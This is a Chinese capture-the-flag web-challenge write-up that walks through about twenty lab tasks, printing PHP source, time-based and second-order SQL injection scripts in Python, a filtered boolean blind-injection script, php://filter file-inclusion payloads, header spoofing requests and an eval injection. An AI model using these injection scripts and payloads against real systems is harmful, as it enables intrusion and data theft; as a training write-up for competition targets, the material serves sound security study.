葛大佬感情受挫失联了,我这个小辣鸡只能重拾web,记录一下wp咯
捉迷藏 审查元素,发现网页背景为black,最下面有个<a>./Index.php</a>
标签属性也是black,明显有问题,打开有个flag,一闪而逝,就是答案,本题坑点是学弟跳进去的,他把CSS属性改了: 于是出现了一个二维码,而且扫出来是flag形式的:
简单问答 一道老题(其他可能也是,只是这道以前做过),选项显示的值和实际的不一样,查看源码可以看到,改正确就好了:
后台后台后台 显示只有Admin组的成员才能登录,JohnTan101属于Normal,查看cookie有个Menber属性看长相像base64解码下是Normal,那么把它换成Admin的base64即可
PHP是最好的语言 打开直接给了源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <?php show_source(__FILE__ ); $v1=0 ;$v2=0 ;$v3=0 ; $a=(array )json_decode(@$_GET['foo' ]); if (is_array($a)){ is_numeric(@$a["bar1" ])?die ("nope" ):NULL ; if (@$a["bar1" ]){ ($a["bar1" ]>2016 )?$v1=1 :NULL ; } if (is_array(@$a["bar2" ])){ if (count($a["bar2" ])!==5 OR !is_array($a["bar2" ][0 ])) die ("nope" ); $pos = array_search("nudt" , $a["a2" ]); $pos===false ?die ("nope" ):NULL ; foreach ($a["bar2" ] as $key=>$val){ $val==="nudt" ?die ("nope" ):NULL ; } $v2=1 ; } } $c=@$_GET['cat' ]; $d=@$_GET['dog' ]; if (@$c[1 ]){ if (!strcmp($c[1 ],$d) && $c[1 ]!==$d){ eregi("3|1|c" ,$d.$c[0 ])?die ("nope" ):NULL ; strpos(($c[0 ].$d), "htctf2016" )?$v3=1 :NULL ; } } if ($v1 && $v2 && $v3){ include "flag.php" ; echo $flag; } ?>
分析源码,要使$v1 && $v2 && $v3
为真即都为1,他们初始为0,就向上看让他们为1的语句执行。分析知接收三个参数:
foo
是一个json编码的字符串,里面要有bar1
元素,它不能是数字并且要大于2016;有bar2
元素,它有5个元素;有a2
这个元素,它是一个数组并且它其中一个元素含’nudt’;满足这些条件$v1和$v2就为1了
cat
需要是一个数组,第一个元素不为0,并且使用strcmp做比较时第一个元素要等于dog
但是他们要在严格的情况下不相等;strpos表示cat[0]与$d连接一定要有”htctf2016”子串;eregi需要他们不包含”3|1|c”,由于eregi是一个非二进制安全函数,所以可以使用\x00
绕过
就是考察PHP弱类型与非二进制安全函数咯
Login 打开有三个页面可以点,随便点击info
发现探针被执行了,点main
发现和没点之前一样,看URL像是文件包含,各种尝试无果,又去登录页面看看爆破失败,又回去尝试文件包含,想到PHP伪协议:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <html> <head> <title>trolol</title> </head> <body> <center> <a href="./?page=main" >main</a> <a href="./?page=info" >server info</a> <a href="./?page=login" >login</a> </center> </body> </html> <?php $login=@$_POST['login' ]; $password=@$_POST['password' ]; if (@$login=="admin" && sha1(@$password)==$pwhash){ include ('flag.txt' ); }else if (@$login&&@$password&&@$_GET['debug' ]) { echo "Login error, login credentials has been saved to ./log/" .htmlentities($login).".log" ; $logfile = "./log/" .$login.".log" ; file_put_contents($logfile, $login."\n" .$password); } ?> <center> login<br/><br/> <form action="" method="POST" > <input name="login" placeholder="login" ><br/> <input name="password" placeholder="password" ><br/><br/> <input type="submit" value="Go!" > </form> </center>
通过阅读发现登录admin
,密码被sha1哈希与一个值比较,正确得到flag,否则若是GET方式传递了debug
则将错误的账号和密码保存到以账号命名的日志里面,其中路径是可控的,并且login.php与index.php同级,似乎就没有其他的啦,好吧,其实还有,在比较密码时用的是==
可能存在弱类型绕过,当然若是直接点击链接进入的登录页面是没有问题的,但是若直接访问这个链接,那么$pwhash
这个变量并没有被赋值,那么使用password[]即可绕过获取flag。 另外,很明显这个$pwhash
是在index.php
这个页面里面定义的,那么查看这个页面的源代码就可以看到啊,当然直接查看是不行的,不过使用./index
就看到了:
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php $pwhash="ffd313052dab00927cb61064a392f30ee454e70f" ; if (@$_GET['log' ]) { if (file_exists($_GET['log' ].".log" )){ include ("flag.txt" ); } } if (@$_GET['page' ] != 'index' ){ include ((@$_GET['page' ]?$_GET['page' ].".php" :"main.php" )); } ?>
从上面分析,这道题的解法有很多,弱类型应该是最简单的了,当然还可以getshell..
http头注入 换个浏览器试试,又是头注入,以为注入点在user-agent,然后打开又写着: Wecome our official sites:heetian.com/heetian.php
Waist long hair, teenager marry me these days.
emmmm,一个一个试,幸运的是一个单引号就解决了: 这里是insert
语句,使用报错注入,这里直接用SQLmap跑出来:
当然也可以写脚本,这里写了一个基于时间的盲注脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 import requestsimport stringurl = 'http://218.76.35.74:20121/heetian.php' charSet = string.letters + string.digits + string.punctuation headers = {"Referer" : "" } def baseTime (sql) : ans = '' for i in range(1 , 256 + 1 ): ansbak = ans for char in charSet: headers["Referer" ] = "'+if(ascii(substr((%s)from(%d)))=%d,sleep(5),0)+'" % (sql,i, ord(char)) try : requests.get(url=url, headers=headers, timeout=4 ) except requests.exceptions.ReadTimeout: ans += char break if ans == ansbak: break return ans if __name__=='__main__' : currentDBSQL = "select database()" tablesSQL = "select group_concat(table_name) from information_schema.columns where table_schema=database()" columnsSQL = "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='%s'" %("flag" ) datasSQL = "select group_concat(%s) from %s" %("flag" ,"flag" ) print "数据为:" ,baseTime(datasSQL)
简单的文件上传 经测试只接受jpg文件但是要求上传PHP文件,直接改Content-Type就好了
简单的JS 打开页面发现一个js: 打开这个URL即可,不过flag在set-cookie里面
php 是门松散的语言 打开就是伪代码提示
1 2 3 4 5 6 - - - - - - - source code - - - - - - - - - - $he ='goodluck' ; parse_str($_GET['heetian' ]); if $he = 'abcd' ;echo $flag;he=?
直接heetian=he=abcd啦
试试xss 直接输入一个标准的xss poc查看源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <html > <head > <meta http-equiv ="Content-Type" content ="text/html; charset=utf-8" /> <title > 欢迎来到比赛</title > </head > <body > <span > Hint:</span > <span > alert document.domain.</span > <form method = "post" name ="form1" id = "form1" action ="" > <input name ="subject" type ="text" value ="" size ="60" /> <input type ="submit" name ="insert" id ="insert" value ="go" > <img src ='<img src=4566 onerror=comform(/ddd/)> /></form> </body> </html>
发现他已经写了部分了,那么自己不写那一部分就好了。。。
简单文件包含 打开有四个链接,形式是index.php?page=1
,在浏览器里面按提示包含/flag
会显示flag 不在这里
,而包含数字不会报错,否则会显示:P wrong page
,试了下SQL注入发现失败,再次看/flag
这个页面,查看源码,发现。。。再打开这个页面,看到。。。的确够简单的,就是不懂这种洞是在什么时候产生的
简单验证 熟悉前面套路,发现hint很重要,那么本题的是描述:你不是amdin,没有权限查看flag ,再打开页面发现:
1 2 Set-Cookie : user=Bob; expires=Sat, 19-Aug-2017 11:10:55 GMTSet-Cookie : guess=999; expires=Sat, 19-Aug-2017 11:10:55 GMT
那就爆破咯:
vote 描述:据说可以注入,然而…… 这道题遇到坑了,vim源码泄露,直接wget http://218.76.35.74:65080/.index.php.swp
下载临时文件,使用vim -r .index.php.swp
恢复,但是 这里被坑了很久,换了3个系统全部失败,直到半个月后。。。突然想到会不会是要x86平台,因为我平时全都是用的x64,于是又换x86,恢复成功: 可以看到vote和id这两个参数可控,但是后面会用is_numeric($_POST['id'])
判断id是否为数字,会用(int)$_POST['vote']
强制转换类型,这样看似乎就不能做什么了,但是再往下看它会有查询操作,前面插入后面插入很可能是二次注入,若是二次注入那么id就可以利用了,因为is_numeric()
能用十六进制绕过,而查询会以字符串形式返回,于是就可以构造二次注入语句啦:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import requestsimport binasciiurl = 'http://218.76.35.74:65080/index.php' def TwoIn (sql) : payload = '-1 union ' +sql payload = ('0x' +binascii.hexlify(payload)) print payload data={'id' :payload,'vote' :1 ,'submit' :'Submit' } req=requests.post(url=url,data=data) print req.content if __name__=="__main__" : tablesSQL = "select group_concat(table_name) from information_schema.columns where table_schema=database()" columnsSQL = "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='%s'" % ("flag" ) datasSQL = "select group_concat(%s) from %s" % ("flag" , "flag" ) datasSQL = "select %s from %s" % ("flag" , "t_flag" ) TwoIn(datasSQL)
GG 又是一道老题,打开是一个俄罗斯方块游戏,先玩几把看看有些什么功能,然后查看源码,发现就一个js打开在线格式化后分析,是混淆过的,至少函数名字处理过了,代码很长没有具体分析,大致看了下每个函数实现功能与函数大致流程,还好作者没那么丧心病狂把所有的名字都混淆了,直到看到一句比较敏感的:
1 2 3 4 5 6 7 this .mayAdd = function (a ) { if (this .scores.length < this .maxscores) return 1E6 < a && (a = new p, a.set("urlkey" , "webqwer" [1 ] + "100.js" , 864E5 )), !0 ; for (var b = this .scores.length - 1 ; 0 <= b; --b) if (this .scores[b].score < a) return 1E6 < a && (a = new p, a.set("urlkey" , "webqwer" [1 ] + "100.js" , 864E5 )), !0 ; return !1 };
urlkey
为e100.js那么试试,发现是js编码,运行出结果:
Reappear 描述:网管说他安装了什么编辑器,但是似乎不太会用。。。 并且打开页面显示: Kindeditor v4.1.7 something maybe in /kindeditor/ 百度了一下它存在路径泄露漏洞,访问弱点页面: 发现在"\/kindeditor\/php\/..\/attached\/"
存在敏感文件flag_clue.php
,打开页面,发现一个疑似逆序的base64串-=0nYvpEdhVmcnFUZu9GRlZXd7pzZhxmZ
解码就好了
DrinkCoffee
描述:据说登录可以领到咖啡票,不过不知道密码哦……
Hint: Find the password to submit, but you should come from http://www.iie.ac.cn and your IP must be 10.10.20.1
第二条意思是改referer
和x-forwarded-for
,再抓包发现返回头有个Password: d2626f412da748e711ca4f4ae9428664
解md5为cafe
,那么按要求发送就好了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 POST / HTTP/1.1Host : 218.76.35.75:65280Proxy-Connection : keep-aliveContent-Length : 13Cache-Control : max-age=0Upgrade-Insecure-Requests : 1User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36Content-Type : application/x-www-form-urlencodedAccept : text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8Referer : http://www.iie.ac.cnX-Forwarded-For : 10.10.20.1Accept-Encoding : gzip, deflateAccept-Language : zh-CN,zh;q=0.8password=cafe
最安全的笔记管理系统 看长相像xss,SQL注入,经测试XSS似乎使用了XSS终结者过滤函数,要是注入的话很大可能是二次注入了,另外仔细查看URL发现始终在一个页面跳,先尝试文件包含,要是有源码会简单很多,很幸运有源码http://218.76.35.74:20128/index.php?action=php://filter/read=convert.base64-encode/resource=front&mode=index
登陆后首页:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <?php defined("DIR_PERMITION" ) or die ("Permision denied!" ); $userid=check_login(); if (!$userid){ echo "<script>alert('not login!');</script>" ; echo ("<script>location.href='./index.php?action=front&mode=login'</script>" ); die (); }else { $sql="select * from note where userid='$userid' or userid='1'" ; $result=mysql_my_query($sql); } ?> <?php echo explode("|" ,$_COOKIE['uid' ])[0 ];?> <?php echo $userid;?> <?php while ($row=$result->fetch_assoc()){ echo "<tr>" ; echo "<td>" .$row['title' ]."</td>" ; echo "<td>" .$row['content' ]."</td>" ; echo "<td><a href=./index.php?action=front&mode=delete&id=" .$row['id' ]."&TOKEN=" .$_SESSION['CSRF_TOKEN' ].">delete</a></td>" ; echo "</tr>" ; } ?>
登录页:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php defined("DIR_PERMITION" ) or die ("Permision denied!" ); if (isset ($_POST['uname' ])&&isset ($_POST['password' ])&&isset ($_POST['TOKEN' ])){ $uname=$_POST['uname' ]; $password=md5($_POST['password' ]); $TOKEN=$_POST['TOKEN' ]; if ($TOKEN!=$_SESSION['CSRF_TOKEN' ]){ die ("token error!" ); } $sql="select id,level from user where uname='$uname' and password='$password' and level='0'" ; $res=mysql_my_query($sql); $row=$res->fetch_assoc(); if ($row['id' ]){ echo $row['level' ]; set_login($uname,$row['id' ],$row['level' ]); header("Location: ./index.php?action=front&mode=index" ); exit (); }else { echo ("<script>alert('username or password error!')</script>" ); } } ?>
注册页:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 <?php defined("DIR_PERMITION" ) or die ("Permision denied!" ); if (isset ($_POST['uname' ])&&isset ($_POST['password' ])&&isset ($_POST['TOKEN' ])){ $uname=$_POST['uname' ]; $password=md5($_POST['password' ]); $TOKEN=$_POST['TOKEN' ]; if ($TOKEN!=$_SESSION['CSRF_TOKEN' ]){ die ("token error!" ); } $sql="select count(*) count from user where uname='$uname'" ; $res=mysql_my_query($sql); $row=$res->fetch_assoc(); if ($row['count' ]){ echo ("<script>alert('username repeats!')</script>" ); }else { $sql="insert into `user`(uname,password,level) values ('$uname','$password',0)" ; $res=mysql_my_query($sql); if ($res){ header("Location: ./index.php?action=front&mode=login" ); exit (); }else { echo ("<script>alert('register failed!')</script>" ); } } } ?>
新建笔记页:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 <?php defined("DIR_PERMITION" ) or die ("Permision denied!" ); $userid=check_login(); if (!$userid){ echo "<script>alert('not login!');</script>" ; echo ("<script>location.href='./index.php?action=front&mode=login'</script>" ); die (); }elseif (isset ($_POST['title' ])&&isset ($_POST['content' ])&&isset ($_POST['TOKEN' ])){ $title=htmlspecialchars(trim($_POST['title' ])); $content=htmlspecialchars(trim($_POST['content' ])); $TOKEN=$_POST['TOKEN' ]; if ($TOKEN!=$_SESSION['CSRF_TOKEN' ]){ die ("token error!" ); } $sql="insert into `note` (title,content,userid) values ('$title','$content',$userid)" ; if (!empty ($title)&&!empty ($content)){ $res=mysql_my_query($sql); if ($res){ echo ("<script>alert('create success!')</script>" ); echo ("<script>location.href='./index.php?action=front&mode=index'</script>" ); }else { echo ("<script>alert('create failed!')</script>" ); } } } ?>
综上,要是没有SQL检测,那么利用的方法就可以有很多了,but真的有过滤,没有在代码中出现应该是使用了PHP的magic_quotes_gpc之类的,若是猜测正确的话,可以尝试二次注入,另外初始的那条乱码可以猜测字符编码,就是宽字符截断(然而这里是utf8):
document 打开显示:
1 2 3 4 5 6 7 8 9 10 <!DOCTYPE html> <html lang ="en" > <head > <meta charset ="UTF-8" > <title > Document</title > </head > <body > </body > </html >
包含?先打开这个页面:
1 2 3 4 <html > Tips: the parameter is file! :) </html >
打开upload.php尝试上传多种文件报错,回到主页,说的参数是file,那么尝试?file=upload.php
失败,emmmm,失败是正常的,一般都不会让指定完整文件名而是只指定文件名而不带后缀,于是?file=upload
包含成功,再次使用伪协议查看upload的源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <form action="" enctype="multipart/form-data" method="post" name="upload" >file:<input type="file" name="file" /><br> <input type="submit" value="upload" /></form> <?php if (!empty ($_FILES["file" ])){ echo $_FILES["file" ]; $allowedExts = array ("gif" , "jpeg" , "jpg" , "png" ); @$temp = explode("." , $_FILES["file" ]["name" ]); $extension = end($temp); if (((@$_FILES["file" ]["type" ] == "image/gif" ) || (@$_FILES["file" ]["type" ] == "image/jpeg" ) || (@$_FILES["file" ]["type" ] == "image/jpg" ) || (@$_FILES["file" ]["type" ] == "image/pjpeg" ) || (@$_FILES["file" ]["type" ] == "image/x-png" ) || (@$_FILES["file" ]["type" ] == "image/png" )) && (@$_FILES["file" ]["size" ] < 102400 ) && in_array($extension, $allowedExts)) { move_uploaded_file($_FILES["file" ]["tmp_name" ], "upload/" . $_FILES["file" ]["name" ]); echo "file upload successful!Save in: " . "upload/" . $_FILES["file" ]["name" ]; } else { echo "upload failed!" ; } } ?>
emmmm,还有include的也看一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <html> Tips: the parameter is file! :) <!-- upload.php --> </html> <?php @$file = $_GET["file" ]; if (isset ($file)) { if (preg_match('/http|data|ftp|input|%00/i' , $file) || strstr($file,".." ) !== FALSE || strlen($file)>=70 ) { echo "<p> error! </p>" ; } else { include ($file.'.php' ); } } ?>
应该就是要获取webshell了,先绕过文件包含过滤,试了几个常用的绕过失败,百度了l3m0n 的方法成功绕过: 你以为这样就完了吗?还要找flag,而且在图形化界面翻不出来,要用命令查找:
阳关总在风雨后 看长相像SQL注入,试了下先判断用户名,讲道理不可能写死判断是否是admin
,而是查数据库看用户是否存在,那么这里可能就是一个注入点了,再讲道理密码都会哈希处理一般不会是注入点,所以要是有注入就只能在这里了,另外,这里是判断用户是否存在那么只有盲注了,继续测试发现它会显示字符被过滤alert('illegal character!!@_@');
,这个比较明显就可以先测试过滤了那些字符,经测试含,,|,&,and,or,union,like,*, (所有空白符)
等,于是先想办法构造布尔语句,本来构造方法很多,但是要绕空格就pass很多了,这里使用普通运算就可以了:
1 2 3 4 5 admin'-1-'-1 #不能用+,被过滤了 admin'/'1 #不能用*,被过滤了 admin'^1^'1 admin'%1%'1 ..........
好啦,现在有布尔语句了,往里面填值就好了: 构造的语句不能有空格,逗号,ORD(含or),于是:
1 admin'-(ascii(substr(database()from(2)))>110)-'-1
首先直接用exists(select(uname)from(admin))
验证,猜出了表名和列名:admin:uname:passwd 可以少写点脚本,先把这个跑出来,不能做了再去跑所有的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import requestsurl = "http://218.76.35.74:20130/login.php" unameq = "admin'-(ascii(substr((select(group_concat(passwd))from(admin))from(" password = '' for i in range(1 ,50 ): for j in range(1 ,128 ): uname = unameq+str(i)+")))=" +str(j)+")-'-1" data = {'uname' :uname,'passwd' :'123' } r = requests.post(url=url, data=data) if 'password' in r.text: password+=chr(j) print(password) break if j==127 : print("完成!" ) exit(0 )
跑出结果是50f87a3a3ad48e26a5d9058418fb78b5
cmd5 查出是shuangshuang
登录进去: emmmm,一个命令执行,继续试,这次他过滤但不提示了,当然也可以发现,空格被过滤啦 很明显,没有输出完,于是用head
构造命令,找到flag
default 描述:主页都没有了,就不要扫我了 嗯,分析一下这个题,default表示默认,提示是主页没有了,不要扫我是嘴上说着不要还是真的不要?鬼知道,反正各种测试无果,结果是index2.php
…..打开后显示源码:
1 2 3 4 5 6 7 8 <?php include "flag2.php" ; error_reporting(0 ); show_source(__FILE__ ); $a = @$_REQUEST['hello' ]; eval ("var_dump($a);" );
直接显示源码show_source('flag2.php')